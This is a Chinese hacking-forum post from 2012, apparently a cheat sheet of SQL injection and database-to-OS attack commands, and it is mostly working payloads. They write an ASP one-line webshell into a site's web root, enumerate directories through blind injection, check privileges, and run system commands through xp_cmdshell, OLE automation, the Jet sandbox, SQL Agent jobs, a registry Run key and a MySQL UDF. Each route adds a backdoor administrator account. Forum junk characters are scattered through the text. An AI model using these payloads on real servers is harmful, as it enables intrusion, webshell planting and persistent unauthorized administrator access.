找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3356|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马5 J4 i3 P$ R& l, L# z6 J. g+ Z
首先确定网站的WEB路径1 a7 H% x) J* N9 r; T8 J
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
3 ^) `3 Q* V1 E$ u9 y, g+ c% C& z# g6 m
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
  r6 @9 H$ g4 |6 w//将一句话木马插入表中  N; W4 ~3 v) u& s; M0 U3 z4 E
0 V/ q/ m" D* @. s% W  x, ^7 k. s
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- * n6 u8 T1 ~2 i7 E
//导出一个ASP文件
6 u* G$ F4 e7 y% G6 v' q7 c8 p0 f9 Y, }" s* c* Z4 Z
" n4 J* ~9 f/ L# J% `
关于MSSQL列目录0 v) M. G- [) V9 K& h0 m
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
! F9 d) G0 {& s3 U+ YInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
  L8 y5 E+ K3 @5 I3 j1 U6 m% q# `7 S) t  a% J  r! l
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录" d8 Z7 y$ a. i

5 D! p( P: A% p" |- mAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
1 \& A, P3 n! ^* X% h2 L7 y
  S, k3 ]) I& `/ J& vAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
+ B) q. G) G4 s5 y$ q4 D" q  o/ F! L. v3 v! t5 K& |* [! p9 ^
  _2 ^) c7 `- j) n8 b4 o9 h- g2 E+ R
数据库版本和权限查看& M3 [" n1 q& m! T
and 1=(select @@VERSION) //查看详细的数据库信息.
  E! l5 q7 G9 Y" K8 ?3 v; a) Fand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA: X# X+ G' a% m  @2 A, t
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
( c& {) `! Q& A
( C5 o6 R! j  I4 i/ n: _$ G5 N. X# d, |  ?
1.利用xp_cmdshell执行命令+ v, u( E2 R; x- y
exec master..xp_cmdshell 'net user rfire 123456 /add'
  F1 {# C& ?! V8 Aexec master..xp_cmdshell 'net localgroup administrators rfire /add'
! W1 W- h# ]  U6 P6 M
1 I+ N4 c6 {+ p& Z! Z  x1 ?恢复xp_cmdshell存储过程
, L2 L2 L+ ~8 a8 j( U) t+ S, w7 wExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
; s* A- D$ n8 \& `( x) E5 o4 [1 ~1 p% ]5 `& l' L2 x

# P  b/ ?( i6 i6 o3 u+ M7 b2.利用SP_OAcreate和SP_OAMETHOD执行命令
+ p: E' k$ r! j/ M! w0 S+ m在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
" @$ ]+ _. ?# W2 }  ~* F; XDECLARE @shell INT //建立一个@shell实体
% y# a. {0 @, ^( `& NEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
5 ~6 n4 e, G$ ~* qEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
1 Q0 N3 o* k" F5 |( P) f/ ], V+ i- Z' K& w) u8 ^* U2 G; V

8 h& q8 x5 g; v4 m$ k* s$ @3.利用沙盒模式# g( w' M1 L3 D- O$ D2 Y5 [
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。/ p8 L* D- m2 H% X" \2 x
开启沙盒模式:8 G" b8 K  n$ F1 H
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
! j) M2 d7 K1 B6 q* r6 t) B
3 w9 h( ]5 K- I9 R) E8 M执行命令:
" ^1 `; m8 u% i1 JSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');6 |: H: O5 m  }0 `" O

8 h4 I. ~5 M5 O; |5 {4 m2 w: V& Z' }$ O5 S% u9 x
4.利用SQL代理执行命令! @! k3 u4 |" T2 S- M
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务! e* N" ?/ o6 T6 I
. ~* V9 c0 n$ P; g" |' v9 f; M
执行命令:
1 @7 x! E' r: ^5 m) tuse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错. K' k. Q; S8 ~: H0 }  U+ I+ p4 ?# Q
exec sp_add_job 'x'( \. H; ~4 W: b+ Z# g2 x
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业4 |( f  k) R* }% p/ j+ `
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业7 g2 o/ y# f. }; O' M

9 a9 V8 A; G% g. Q
7 I, `7 S9 G- i- i5 A5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)8 h  c7 f2 U- q+ `3 v7 e5 \
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'9 b! z" B7 S  k) |. x# W& A

9 H4 \# w/ Q* f/ _7 K
  p) u9 J9 N0 w( v7 |6.MYSQL的命令执行6 a1 M) n6 e- s* f, [- f
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
1 |- }  G" Y8 p0 ~7 Q( A# d% y首先要在su.php下导出c:\windows\udf.dll: f' A. E( l8 ?" j0 Q9 k6 w
导出后执行创建自定义函数命令:% H( b( Z$ f9 A' g' X$ A! g
Create Function cmdshell returns string soname 'udf.dll') H1 ~4 i+ S- d2 M* Y: A, Z: L
执行命令; p, L  M4 e+ X2 s: F. u" S
select cmdshell('net user rfire 123456 /add')2 [4 S; v6 Q, E; E+ S
执行后删除函数 drop function cmdshell
5 O: W8 }  y3 A0 J1 z# @, s( B- U1 |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表